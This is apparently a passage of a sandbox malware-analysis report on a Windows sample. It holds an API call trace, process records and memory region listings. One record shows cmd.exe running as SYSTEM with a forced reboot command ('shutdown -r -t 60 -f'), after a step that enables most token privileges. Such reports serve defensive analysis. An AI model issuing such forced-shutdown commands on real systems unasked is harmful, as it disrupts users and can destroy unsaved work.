	[0147.987] SetConsoleCtrlHandler (HandlerRoutine=0x11d4980, Add=1) returned 1
	[0147.987] _onexit (_Func=0x11e0a20) returned 0x11e0a20
	[0147.987] _onexit (_Func=0x11e0a30) returned 0x11e0a30
	[0147.987] _onexit (_Func=0x11e0a50) returned 0x11e0a50
	[0147.988] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0147.988] ResolveDelayLoadedAPI () returned 0x770fcd50
	[0147.988] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0147.991] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0148.101] CoCreateInstance (in: rclsid=0x11a6a1c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x11a6a2c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x11e9510 | out: ppv=0x11e9510*=0xe37250) returned 0x0
	[0149.274] GetCurrentProcess () returned 0xffffffff
	[0149.274] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0xd2fc4c | out: TokenHandle=0xd2fc4c*=0x15c) returned 1
	[0149.274] GetTokenInformation (in: TokenHandle=0x15c, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xd2fc48 | out: TokenInformation=0x0, ReturnLength=0xd2fc48) returned 0
	[0149.274] GetTokenInformation (in: TokenHandle=0x15c, TokenInformationClass=0x3, TokenInformation=0xe13bd8, TokenInformationLength=0x16c, ReturnLength=0xd2fc48 | out: TokenInformation=0xe13bd8, ReturnLength=0xd2fc48) returned 1
	[0149.274] AdjustTokenPrivileges (in: TokenHandle=0x15c, DisableAllPrivileges=0, NewState=0xe13bd8*(PrivilegesCount=0x1e, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x4, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x10, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x15, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1f, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x20, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x3))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0149.274] CloseHandle (hObject=0x15c) returned 1
	[0149.274] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0149.277] _vsnwprintf (in: _Buffer=0xe13c20, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0xd2fbd4 | out: _Buffer="ms_409") returned 6
	[0149.278] GetComputerNameW (in: lpBuffer=0xe13c68, nSize=0xd2fc38 | out: lpBuffer="LHNIWSJ", nSize=0xd2fc38) returned 1
	[0149.278] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.278] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.278] ResolveDelayLoadedAPI () returned 0x74d5c5f0
	[0149.278] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0xd2fc4c | out: lpNameBuffer=0x0, nSize=0xd2fc4c) returned 0x0
	[0149.279] GetLastError () returned 0xea
	[0149.279] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xe13ca8, nSize=0xd2fc4c | out: lpNameBuffer="WORKGROUP\\LHNIWSJ$", nSize=0xd2fc4c) returned 0x1
	[0149.279] lstrlenW (lpString="") returned 0
	[0149.280] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.280] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="", cchCount2=0) returned 3
	[0149.281] lstrlenW (lpString=".") returned 1
	[0149.281] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.281] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2=".", cchCount2=1) returned 3
	[0149.281] lstrlenW (lpString="LOCALHOST") returned 9
	[0149.281] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.281] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="LOCALHOST", cchCount2=9) returned 1
	[0149.282] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.282] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.282] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="LHNIWSJ", cchCount2=7) returned 2
	[0149.282] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.282] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.282] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.282] lstrlenW (lpString="LHNIWSJ") returned 7
	[0149.282] ResolveDelayLoadedAPI () returned 0x77bb9840
	[0149.291] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0149.292] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0149.292] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0149.292] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0149.292] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0149.292] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0149.292] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0149.292] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0149.292] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0149.292] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0149.292] SysStringLen (param_1="DELEGATE") returned 0x8
	[0149.292] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0149.292] SysStringLen (param_1="DELEGATE") returned 0x8
	[0149.292] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0149.292] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0149.292] SysStringLen (param_1="DELEGATE") returned 0x8
	[0149.292] SysStringLen (param_1="NONE") returned 0x4
	[0149.292] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.292] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.292] SysStringLen (param_1="NONE") returned 0x4
	[0149.293] SysStringLen (param_1="CONNECT") returned 0x7
	[0149.293] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.293] SysStringLen (param_1="CALL") returned 0x4
	[0149.293] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.293] SysStringLen (param_1="CALL") returned 0x4
	[0149.293] SysStringLen (param_1="CONNECT") returned 0x7
	[0149.294] SysStringLen (param_1="PKT") returned 0x3
	[0149.294] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.294] SysStringLen (param_1="PKT") returned 0x3
	[0149.294] SysStringLen (param_1="NONE") returned 0x4
	[0149.294] SysStringLen (param_1="NONE") returned 0x4
	[0149.294] SysStringLen (param_1="PKT") returned 0x3
	[0149.294] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0149.294] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.294] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0149.294] SysStringLen (param_1="NONE") returned 0x4
	[0149.294] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0149.294] SysStringLen (param_1="PKT") returned 0x3
	[0149.294] SysStringLen (param_1="PKT") returned 0x3
	[0149.294] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0149.294] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0149.294] SysStringLen (param_1="DEFAULT") returned 0x7
	[0149.294] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0149.294] SysStringLen (param_1="PKT") returned 0x3
	[0149.294] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0149.294] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0149.294] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0149.295] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0149.295] GetSystemDirectoryW (in: lpBuffer=0xe12b08, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0149.295] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0149.295] SysStringLen (param_1="\\wbem\\") returned 0x6
	[0149.295] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32
	[0149.295] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19
	[0149.295] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10
	[0149.296] GetCurrentThreadId () returned 0xd58
	[0149.296] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0xd2f75c | out: phkResult=0xd2f75c*=0x168) returned 0x0
	[0149.296] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0xd2f768, lpcbData=0xd2f764*=0x400 | out: lpType=0x0, lpData=0xd2f768*=0x30, lpcbData=0xd2f764*=0x4) returned 0x0
	[0149.296] _wcsicmp (_String1="0", _String2="1") returned -1
	[0149.296] _wcsicmp (_String1="0", _String2="2") returned -2
	[0149.296] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0xd2f764*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0xd2f764*=0x42) returned 0x0
	[0149.296] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0xe12d10, lpcbData=0xd2f764*=0x42 | out: lpType=0x0, lpData=0xe12d10*=0x25, lpcbData=0xd2f764*=0x42) returned 0x0
	[0149.296] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0149.296] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0149.296] RegQueryValueExW (in: hKey=0x168, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0xd2f768, lpcbData=0xd2f764*=0x400 | out: lpType=0x0, lpData=0xd2f768*=0x36, lpcbData=0xd2f764*=0xc) returned 0x0
	[0149.296] _wtol (_String="65536") returned 65536
	[0149.296] RegCloseKey (hKey=0x0) returned 0x6
	[0149.296] CoCreateInstance (rclsid=0x11a6a7c*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x11a6a8c*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xd2fbfc) 

Thread:
	id = 51
	os_tid = 0xd04


Thread:
	id = 52
	os_tid = 0xd14


Process:
	id = "11"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x75972000"
	os_pid = "0xce8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "10"
	os_parent_pid = "0xd0c"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 7791
	        start_va = 0x7f959000
	          end_va = 0x7f959fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f959000"
	        filename = ""

Region:
	              id = 7792
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 7793
	        start_va = 0xbe229b0000
	          end_va = 0xbe229cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be229b0000"
	        filename = ""

Region:
	              id = 7794
	        start_va = 0xbe229d0000
	          end_va = 0xbe229e3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000be229d0000"
	        filename = ""

Region:
	              id = 7795
	        start_va = 0xbe229f0000
	          end_va = 0xbe22a2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be229f0000"
	        filename = ""

Region:
	              id = 7796
	        start_va = 0x7df600000000
	          end_va = 0x7ff5ffffffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df600000000"
	        filename = ""

Region:
	              id = 7797
	        start_va = 0x7ff6c3d60000
	          end_va = 0x7ff6c3d82fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3d60000"
	        filename = ""

Region:
	              id = 7798
	        start_va = 0x7ff6c3d84000
	          end_va = 0x7ff6c3d84fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d84000"
	        filename = ""

Region:
	              id = 7799
	        start_va = 0x7ff6c3d8e000
	          end_va = 0x7ff6c3d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d8e000"
	        filename = ""

Region:
	              id = 7800
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 7801
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 7802
	        start_va = 0xbe22ac0000
	          end_va = 0xbe22bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be22ac0000"
	        filename = ""

Region:
	              id = 7803
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 7804
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 7805
	        start_va = 0xbe229b0000
	          end_va = 0xbe229bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000be229b0000"
	        filename = ""

Region:
	              id = 7806
	        start_va = 0xbe229c0000
	          end_va = 0xbe229c6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be229c0000"
	        filename = ""

Region:
	              id = 7807
	        start_va = 0xbe22a30000
	          end_va = 0xbe22a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be22a30000"
	        filename = ""

Region:
	              id = 7808
	        start_va = 0xbe22a70000
	          end_va = 0xbe22a70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000be22a70000"
	        filename = ""

Region:
	              id = 7809
	        start_va = 0xbe22a80000
	          end_va = 0xbe22a86fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be22a80000"
	        filename = ""

Region:
	              id = 7810
	        start_va = 0xbe22a90000
	          end_va = 0xbe22a90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be22a90000"
	        filename = ""

Region:
	              id = 7811
	        start_va = 0xbe22aa0000
	          end_va = 0xbe22aa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be22aa0000"
	        filename = ""

Region:
	              id = 7812
	        start_va = 0xbe22bc0000
	          end_va = 0xbe22c7dfff
	     entry_point = 0xbe22bc0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 7813
	        start_va = 0xbe22c80000
	          end_va = 0xbe22e07fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000be22c80000"
	        filename = ""

Region:
	              id = 7814
	        start_va = 0xbe22e70000
	          end_va = 0xbe22e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000be22e70000"
	        filename = ""

Region:
	              id = 7815
	        start_va = 0xbe22e80000
	          end_va = 0xbe23000fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000be22e80000"
	        filename = ""

Region:
	              id = 7816
	        start_va = 0xbe23010000
	          end_va = 0xbe2440ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000be23010000"
	        filename = ""

Region:
	              id = 7817
	        start_va = 0x7ff6c3c60000
	          end_va = 0x7ff6c3d5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c3c60000"
	        filename = ""

Region:
	              id = 7818
	        start_va = 0x7ff6c3d8c000
	          end_va = 0x7ff6c3d8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c3d8c000"
	        filename = ""

Region:
	              id = 7819
	        start_va = 0x7ffbfc0f0000
	          end_va = 0x7ffbfc14ffff
	     entry_point = 0x7ffbfc0f0000
	     region_type = mapped_file
	            name = "conhostv1.dll"
	        filename = "\\Windows\\System32\\ConhostV1.dll" (normalized: "c:\\windows\\system32\\conhostv1.dll")

Region:
	              id = 7820
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 7821
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 7822
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 7823
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 7824
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 7825
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 7826
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 7827
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")


Thread:
	id = 47
	os_tid = 0xcf8


Thread:
	id = 48
	os_tid = 0xd00


Thread:
	id = 49
	os_tid = 0xcfc


Thread:
	id = 50
	os_tid = 0xcec


Process:
	id = "12"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1b6a1000"
	os_pid = "0xd08"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xef8"
	cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c shutdown -r -t 60 -f"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 7879
	        start_va = 0x840000
	          end_va = 0x88ffff
	     entry_point = 0x840000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")

Region:
	              id = 7880
	        start_va = 0xa60000
	          end_va = 0x4a5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000a60000"
	        filename = ""

Region:
	              id = 7881
	        start_va = 0x4a60000
	          end_va = 0x4a7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a60000"
	        filename = ""

Region:
	              id = 7882
	        start_va = 0x4a80000
	          end_va = 0x4a81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a80000"
	        filename = ""

Region:
	              id = 7883
	        start_va = 0x4a90000
	          end_va = 0x4aa3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004a90000"
	        filename = ""

Region:
	              id = 7884
	        start_va = 0x4ab0000
	          end_va = 0x4aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ab0000"
	        filename = ""

Region:
	              id = 7885
	        start_va = 0x4af0000
	          end_va = 0x4beffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004af0000"
	        filename = ""

Region:
	              id = 7886
	        start_va = 0x4bf0000
	          end_va = 0x4bf3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004bf0000"
	        filename = ""

Region:
	              id = 7887
	        start_va = 0x4c00000
	          end_va = 0x4c00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004c00000"
	        filename = ""

Region:
	              id = 7888
	        start_va = 0x4c10000
	          end_va = 0x4c11fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c10000"
	        filename = ""

Region:
	              id = 7889
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 7890
	        start_va = 0x7f140000
	          end_va = 0x7f162fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007f140000"
	        filename = ""

Region:
	              id = 7891
	        start_va = 0x7f16b000
	          end_va = 0x7f16bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f16b000"
	        filename = ""

Region:
	              id = 7892
	        start_va = 0x7f16c000
	          end_va = 0x7f16efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f16c000"
	        filename = ""

Region:
	              id = 7893
	        start_va = 0x7f16f000
	          end_va = 0x7f16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f16f000"
	        filename = ""

Region:
	              id = 7894
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 7895
	        start_va = 0x7fff0000
	          end_va = 0x7dfc03e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 7896
	        start_va = 0x7dfc03e70000
	          end_va = 0x7ffc03e6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007dfc03e70000"
	        filename = ""

Region:
	              id = 7897
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 7898
	        start_va = 0x7ffc04032000
	          end_va = 0x7ffffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ffc04032000"
	        filename = ""

Region:
	              id = 7899
	        start_va = 0x4c80000
	          end_va = 0x4c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c80000"
	        filename = ""

Region:
	              id = 7900
	        start_va = 0x59300000
	          end_va = 0x5934efff
	     entry_point = 0x59300000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 7901
	        start_va = 0x59360000
	          end_va = 0x593d2fff
	     entry_point = 0x59360000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 7902
	        start_va = 0x4d80000
	          end_va = 0x4e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d80000"
	        filename = ""

Region:
	              id = 7903
	        start_va = 0x59350000
	          end_va = 0x59357fff
	     entry_point = 0x59350000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")


Thread:
	id = 53
	os_tid = 0xce4


Process:
	id = "13"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1bae1000"
	os_pid = "0xce0"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xd08"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 7904
	        start_va = 0x7f116000
	          end_va = 0x7f116fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f116000"
	        filename = ""

Region:
	              id = 7905
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 7906
	        start_va = 0x7bd6380000
	          end_va = 0x7bd639ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd6380000"
	        filename = ""

Region:
	              id = 7907
	        start_va = 0x7bd63a0000
	          end_va = 0x7bd63b3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000007bd63a0000"
	        filename = ""

Region:
	              id = 7908
	        start_va = 0x7bd63c0000
	          end_va = 0x7bd63fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000007bd63c0000"
	        filename = ""

Region:
	              id = 7909
	        start_va = 0x7df5ff4c0000
	          end_va = 0x7ff5ff4bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
